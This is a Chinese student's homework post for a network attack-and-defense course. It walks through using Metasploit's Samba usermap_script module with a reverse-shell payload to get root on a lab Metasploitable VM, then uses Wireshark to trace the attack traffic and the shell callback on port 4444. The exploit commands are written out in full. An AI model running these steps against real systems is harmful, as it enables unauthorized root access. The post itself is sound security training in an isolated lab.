20252904 2025-2026-2 《网络攻防实践》第7周作业

20252904 2025-2026-2 《网络攻防实践》第7周作业

1.实践内容

1.1 实验要求

  • 使用 Metasploit 加载 Samba Usermap_script 漏洞利用模块,配置目标主机和攻击载荷,执行远程渗透攻击并验证是否成功获取 Linux 靶机 Shell 权限。

  • 攻击方利用 Metasploit 对 Metasploitable 靶机漏洞进行攻击并尝试提权,防守方通过 Wireshark、tcpdump 或 Snort 分析攻击流量,提取攻击 IP、目标端口、漏洞类型和命令执行等关键信息。

1.2知识点整理

1.2.1 Samba 服务与 Usermap_script 漏洞原理

Samba 主要用于 Linux/Unix 与 Windows 系统之间的文件共享和 SMB/CIFS 协议通信。本实验利用的是 Metasploitable 靶机中 Samba 服务的 Usermap_script 命令注入漏洞。该漏洞产生的原因是 Samba 在处理用户名映射时,对用户输入过滤不严格,攻击者可在用户名字段中插入特殊 Shell 字符,使系统执行恶意命令。由于 Samba 服务可能以较高权限运行,漏洞利用成功后攻击者可能获得远程 Shell,甚至取得 root 权限。

1.2.2 Metasploit 渗透测试框架基本概念

Metasploit 是常用的渗透测试框架,集成了漏洞利用、攻击载荷和辅助扫描等功能。本实验中主要涉及 ExploitPayloadRHOSTLHOSTShell 会话等概念。其中,Exploit 用于触发 Samba 漏洞,Payload 用于建立远程 Shell,RHOST 表示目标主机地址,LHOST 表示攻击机地址。攻击成功后,可通过 Shell 在目标主机上执行命令,验证是否获得访问权限。

1.2.3 正向 Shell 与反向 Shell 的区别

Shell 连接方式主要分为正向 Shell 和反向 Shell。正向 Shell 是靶机开放监听端口,攻击机主动连接靶机;反向 Shell 是攻击机开启监听,靶机主动回连攻击机。正向连接适合同一内网且目标端口可访问的环境,反向连接更适合绕过部分入站访问限制。本实验可根据网络环境选择合适的 Shell 方式,并重点检查 IP、端口、防火墙和虚拟机网络模式是否配置正确。

1.2.4 Metasploitable 靶机的作用

Metasploitable 是专门用于网络安全教学和渗透测试练习的靶机环境,内部故意保留多个已知漏洞。本实验中,它用于提供存在 Samba 漏洞的目标服务,帮助学习者复现漏洞利用过程,理解从漏洞扫描、漏洞利用到权限验证的基本流程。同时,它也为防守方提供攻击流量样本,便于使用 Wireshark、tcpdump 或 Snort 进行流量分析。

1.2.5 攻防对抗中的流量分析思路

在攻防对抗实践中,防守方需要通过 Wireshark、tcpdump 或 Snort 分析攻击流量。针对 Samba 漏洞,应重点关注 SMB 协议以及 TCP 139、445 端口通信,查看是否存在异常用户名、可疑字符串或命令注入特征。攻击成功后,如果 Shell 通道未加密,还可以通过 TCP 流追踪观察攻击者执行的命令和系统返回结果,从而还原攻击过程。

1.2.6 Snort 入侵检测基本作用

Snort 是一种常用的网络入侵检测系统,可根据检测规则分析网络数据包并生成告警。在本实验中,Snort 可用于监听攻击方与靶机之间的通信,识别 SMB 异常流量,辅助判断是否发生漏洞攻击。相比 Wireshark 的人工分析方式,Snort 更适合自动化检测;两者结合使用,可以提高攻击识别和取证分析的准确性。

1.3实验环境

本次实验使用的主机IP如下:

虚拟机名称 IP地址
kali2025.4 192.168.200.6
Metasploitable靶机 192.168.200.14

2.实践过程

2.1 使用 Metasploit 进行 Linux 远程渗透攻击

首先我们要检查两台电脑的连通性(注:这里可以放到VMNET8同一个网段下,并且可以创建一个新的靶机,这样就不会因为之前的配置影响实验)

image-20260507111909523

查看到两台主机都能互相PING通。

image-20260507111923701

打开 Kali Linux 虚拟机的终端,启动 Metasploit 软件,选择使用 msfconsole。输入指令:

msfconsole

image-20260507112000509

在 msfconsole 中输入 search usermap_script 命令,搜索到相关的攻击模块。

search usermap_script

image-20260507112020024

输入 use 0 命令,并查看可用载荷

use 0
show payloads

image-20260507112052149

这里选择 use exploit/multi/samba/usermap_script 渗透攻击模块。

image-20260507112119334

输入命令show payloads查看与该渗透攻击模块相兼容的攻击载荷

image-20260507112139190

输入 set payload cmd/unix/reverse 命令,选择远程 shell 作为攻击载荷。

set payload cmd/unix/reverse

image-20260507112202348

展示载荷,查看配置情况。

show options

image-20260507112221314

设置Metasploitable虚拟机设置为靶机,将kali2025.4设置为攻击机

set LHOST 192.168.200.6
set RHOST 192.168.200.14

image-20260507112250782

再次查看,验证刚才配置是否成功,配置的是否正确,目标主机是否是我们想要的。

show options

image-20260507112310946

确认目标无误后,开始攻击。

exploit

image-20260507112449064

查看当前主机IP地址,发现是靶机地址说明攻击成功。

ifconfig

image-20260507112506958

2.2 攻防对抗实践

这里我们还是用跟实验2.1一样的主机。在kali攻击机中打开wireshark进行抓包。

image-20260507112349521

启动监听eth0端口。

image-20260507112413133

还是使用2.1实验的攻击方式,最后输入exploit进行攻击。在wireshark中可以看见许多流量数据包。可以查看到,攻击机的攻击行为。

image-20260507112531566

输入命令whoami查看到当前账户是谁(成为了root用户)

image-20260507112555311

在wireshark中输入ip.addr == 192.168.200.6 and ip.addr == 192.168.200.14筛选出攻击机和靶机之间的流量

image-20260507112619065

之后随便选一个数据包,然后右键Follow--Tcp数据流,可以看见攻击机输入的指令以及屏幕上返回给攻击机的信息。这里查看到攻击机进行连接的信息。

image-20260507112812925

这里可以查看到刚才攻击机远程控制权限后进行的攻击行为。刚才的whoami也在这里面。

image-20260507112924953

这是返回的信息

image-20260507113017384

整个实验结束。这次的攻击实验,主要是攻击机 IP 为 192.168.200.6,目标 靶机 IP 为 192.168.200.14,目标服务端口为 TCP 139,攻击者 192.168.200.6 向目标主机 192.168.200.14139 端口发送 TCP SYN 请求,开始建立连接。随后在第 4 个数据包中出现 SMB Negotiate Protocol Request,说明攻击者开始与 Samba 服务进行 SMB 协议协商。通过 SMB 会话请求触发命令注入,执行反向 Shell,使靶机通 5819458195 等临时端口过主动连接攻击机 4444 端口。

3.学习中遇到的问题及解决

本次学习没有问题!!!

非常顺利,可能是之前实验做过好几次,有经验了。说明之前的实验实践也很管用。

4.实践总结

本次实验跟之前的实验差不多,都是通过Metasploitable执行攻击漏洞对靶机攻击,这次显得更加的游刃有余,并且对wireshark的理解更加的深入,知道应该如何去做,为什么这样做。如果以后能用到,那肯定能很快的上手!并且也理解了攻击者的攻击思路和方式,在以后也至少知道攻击者会从哪些漏洞攻击,还有就是多打补丁。

posted @ 2026-05-07 11:05  源同学  阅读(3)  评论(0)    收藏  举报